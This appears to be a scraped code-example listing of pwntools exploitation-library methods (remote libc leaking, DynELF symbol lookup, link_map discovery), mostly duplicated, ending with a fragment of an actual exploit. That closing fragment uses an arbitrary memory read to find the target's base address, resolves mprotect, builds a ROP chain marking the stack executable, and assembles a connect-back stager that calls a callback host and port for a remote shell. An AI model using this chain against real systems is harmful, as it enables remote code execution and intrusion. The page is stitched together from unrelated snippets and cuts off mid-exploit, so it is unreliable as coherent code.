Ejemplo n.º 1
0
    def libc(self):
        """libc(self) -> ELF

        Leak the Build ID of the remote libc.so, download the file,
        and load an ``ELF`` object with the correct base address.

        Returns:
            An ELF object, or None.
        """
        libc = 'libc.so'

        with self.waitfor('Downloading libc'):
            dynlib = self._dynamic_load_dynelf(libc)

            self.status("Trying lookup based on Build ID")
            build_id = dynlib._lookup_build_id(libc)

            if not build_id:
                return None

            self.status("Trying lookup based on Build ID: %s" % build_id)
            path = libcdb.search_by_build_id(build_id)

            if not path:
                return None

            libc = ELF(path)
            libc.address = dynlib.libbase
            return libc
Ejemplo n.º 2
0
    def libc(self):
        """libc(self) -> ELF

        Leak the Build ID of the remote libc.so, download the file,
        and load an ``ELF`` object with the correct base address.

        Returns:
            An ELF object, or None.
        """
        libc = 'libc.so'

        with self.waitfor('Downloading libc'):
            dynlib = self._dynamic_load_dynelf(libc)

            self.status("Trying lookup based on Build ID")
            build_id = dynlib._lookup_build_id(libc)

            if not build_id:
                return None

            self.status("Trying lookup based on Build ID: %s" % build_id)
            path = libcdb.search_by_build_id(build_id)

            if not path:
                return None

            libc = ELF(path)
            libc.address = dynlib.libbase
            return libc
Ejemplo n.º 3
0
    def libc(self):
        """libc() -> ELF

        Returns an ELF for the libc for the current process.
        If possible, it is adjusted to the correct address
        automatically.
        """
        from pwnlib.elf import ELF

        for lib, address in self.libs().items():
            if 'libc.so' in lib or 'libc-' in lib:
                e = ELF(lib)
                e.address = address
                return e
Ejemplo n.º 4
0
    def libc(self):
        """libc() -> ELF

        Returns an ELF for the libc for the current process.
        If possible, it is adjusted to the correct address
        automatically.
        """
        from pwnlib.elf import ELF

        for lib, address in self.libs().items():
            if 'libc.so' in lib:
                e = ELF(lib)
                e.address = address
                return e
Ejemplo n.º 5
0
    def _find_linkmap_assisted(self, path):
        """Uses an ELF file to assist in finding the link_map.
        """
        if isinstance(path, ELF):
            path = path.path

        # Load a fresh copy of the ELF
        with context.local(log_level='error'):
            elf = ELF(path)
        elf.address = self.libbase

        w = self.waitfor("Loading from %r" % elf.path)

        # Save our real leaker
        real_leak = self.leak

        # Create a fake leaker which just leaks out of the 'loaded' ELF
        # However, we may load things which are outside of the ELF (e.g.
        # the linkmap or GOT) so we need to fall back on the real leak.
        @MemLeak
        def fake_leak(address):
            try:
                return elf.read(address, 4)
            except ValueError:
                return real_leak.b(address)

        # Save off our real leaker, use the fake leaker
        self.leak = fake_leak

        # Get useful pointers for resolving the linkmap faster
        w.status("Searching for DT_PLTGOT")
        pltgot = self._find_dt(constants.DT_PLTGOT)

        w.status("Searching for DT_DEBUG")
        debug = self._find_dt(constants.DT_DEBUG)

        # Restore the real leaker
        self.leak = real_leak

        # Find the linkmap using the helper pointers
        self._find_linkmap(pltgot, debug)
        self.success('Done')
Ejemplo n.º 6
0
    def _find_linkmap_assisted(self, path):
        """Uses an ELF file to assist in finding the link_map.
        """
        if isinstance(path, ELF):
            path = path.path

        # Load a fresh copy of the ELF
        with context.local(log_level='error'):
            elf = ELF(path)
        elf.address = self.libbase

        w = self.waitfor("Loading from %r" % elf.path)

        # Save our real leaker
        real_leak = self.leak

        # Create a fake leaker which just leaks out of the 'loaded' ELF
        # However, we may load things which are outside of the ELF (e.g.
        # the linkmap or GOT) so we need to fall back on the real leak.
        @MemLeak
        def fake_leak(address):
            try:
                return elf.read(address, 4)
            except ValueError:
                return real_leak.b(address)

        # Save off our real leaker, use the fake leaker
        self.leak = fake_leak

        # Get useful pointers for resolving the linkmap faster
        w.status("Searching for DT_PLTGOT")
        pltgot = self._find_dt(constants.DT_PLTGOT)

        w.status("Searching for DT_DEBUG")
        debug  = self._find_dt(constants.DT_DEBUG)

        # Restore the real leaker
        self.leak = real_leak

        # Find the linkmap using the helper pointers
        self._find_linkmap(pltgot, debug)
        self.success('Done')
Ejemplo n.º 7
0
    def libc(self):
        """libc() -> ELF

        Returns an ELF for the libc for the current process.
        If possible, it is adjusted to the correct address
        automatically.

        Example:

        >>> p = process("/bin/cat")
        >>> libc = p.libc
        >>> libc # doctest: +SKIP
        ELF('/lib64/libc-...so')
        >>> p.close()
        """
        from pwnlib.elf import ELF

        for lib, address in self.libs().items():
            if 'libc.so' in lib or 'libc-' in lib:
                e = ELF(lib)
                e.address = address
                return e
Ejemplo n.º 8
0
    def lookup(self, symb=None, lib=None):
        """lookup(symb = None, lib = None) -> int

        Find the address of ``symbol``, which is found in ``lib``.

        Arguments:
            symb(str): Named routine to look up
              If omitted, the base address of the library will be returned.
            lib(str): Substring to match for the library name.
              If omitted, the current library is searched.
              If set to ``'libc'``, ``'libc.so'`` is assumed.

        Returns:
            Address of the named symbol, or :const:`None`.
        """
        result = None

        if lib == 'libc':
            lib = 'libc.so'

        #
        # Get a pretty name for the symbol to show the user
        #
        if symb and lib:
            pretty = '%r in %r' % (symb, lib)
        else:
            pretty = repr(symb or lib)

        if not pretty:
            self.failure("Must specify a library or symbol")

        self.waitfor('Resolving %s' % pretty)

        #
        # If we are loading from a different library, create
        # a DynELF instance for it.
        #
        if lib is not None: dynlib = self._dynamic_load_dynelf(lib)
        else: dynlib = self

        if dynlib is None:
            log.failure("Could not find %r" % lib)
            return None

        #
        # If we are resolving a symbol in the library, find it.
        #
        if symb and self.libcdb:
            # Try a quick lookup by build ID
            self.status("Trying lookup based on Build ID")
            build_id = dynlib._lookup_build_id(lib=lib)
            if build_id:
                log.info("Trying lookup based on Build ID: %s" % build_id)
                path = libcdb.search_by_build_id(build_id)
                if path:
                    with context.local(log_level='error'):
                        e = ELF(path)
                        e.address = dynlib.libbase
                        result = e.symbols[symb]
        if symb and not result:
            self.status("Trying remote lookup")
            result = dynlib._lookup(symb)
        if not symb:
            result = dynlib.libbase

        #
        # Did we win?
        #
        if result: self.success("%#x" % result)
        else: self.failure("Could not find %s" % pretty)

        return result
Ejemplo n.º 9
0
    def lookup (self, symb = None, lib = None):
        """lookup(symb = None, lib = None) -> int

        Find the address of ``symbol``, which is found in ``lib``.

        Arguments:
            symb(str): Named routine to look up
            lib(str): Substring to match for the library name.
              If omitted, the current library is searched.
              If set to ``'libc'``, ``'libc.so'`` is assumed.

        Returns:
            Address of the named symbol, or :const:`None`.
        """
        result = None

        if lib == 'libc':
            lib = 'libc.so'

        #
        # Get a pretty name for the symbol to show the user
        #
        if symb and lib:
            pretty = '%r in %r' % (symb, lib)
        else:
            pretty = repr(symb or lib)

        if not pretty:
            self.failure("Must specify a library or symbol")

        self.waitfor('Resolving %s' % pretty)

        #
        # If we are loading from a different library, create
        # a DynELF instance for it.
        #
        if lib is not None: dynlib = self._dynamic_load_dynelf(lib)
        else:   dynlib = self

        if dynlib is None:
            log.failure("Could not find %r" % lib)
            return None

        #
        # If we are resolving a symbol in the library, find it.
        #
        if symb and self.libcdb:
            # Try a quick lookup by build ID
            self.status("Trying lookup based on Build ID")
            build_id = dynlib._lookup_build_id(lib=lib)
            result   = None
            if build_id:
                log.info("Trying lookup based on Build ID: %s" % build_id)
                path = libcdb.search_by_build_id(build_id)
                if path:
                    with context.local(log_level='error'):
                        e = ELF(path)
                        e.address = dynlib.libbase
                        result = e.symbols[symb]

            if not result:
                self.status("Trying remote lookup")
                result = dynlib._lookup(symb)
        else:
            result = dynlib.libbase

        #
        # Did we win?
        #
        if result: self.success("%#x" % result)
        else:      self.failure("Could not find %s" % pretty)

        return result
        if page_prefix == bytes('\x7fELF', 'utf8'):
            logging.info(
                "epp base address: 0x{:X}".format(epp_ba))
            break

        epp_ba -= 0x1000

    def leak(address):
        return a_read(s, address, 8)

    epp_dyn_elf = DynELF(leak, epp_ba)
    libc_mprotect = epp_dyn_elf.lookup('mprotect', 'libc')

    context.clear(arch='amd64')
    binary = ELF(epp_path)
    binary.address = epp_ba
    binary.symbols = {'mprotect': libc_mprotect}
    rop = ROP(binary)
    # Mark the current stack page, and the one just before, incase we are on a boundary.
    rop.call(
        'mprotect', (stack_frame.previous_frame_stack_base_pointer & ~0xFFF, 0x2000, 0x7))

    target_ip = socket.gethostbyname(socket.gethostname())

    mprotect_rop = rop.chain()

    logging.info(rop.dump())
    # We are gonna be a little lazy and just end with an infinite loop,
    # we make no attempt to clean up the stack and continue normal
    # execution.
    connect_stager = asm(connectstager(target_ip, CALLBACK_PORT) + infloop())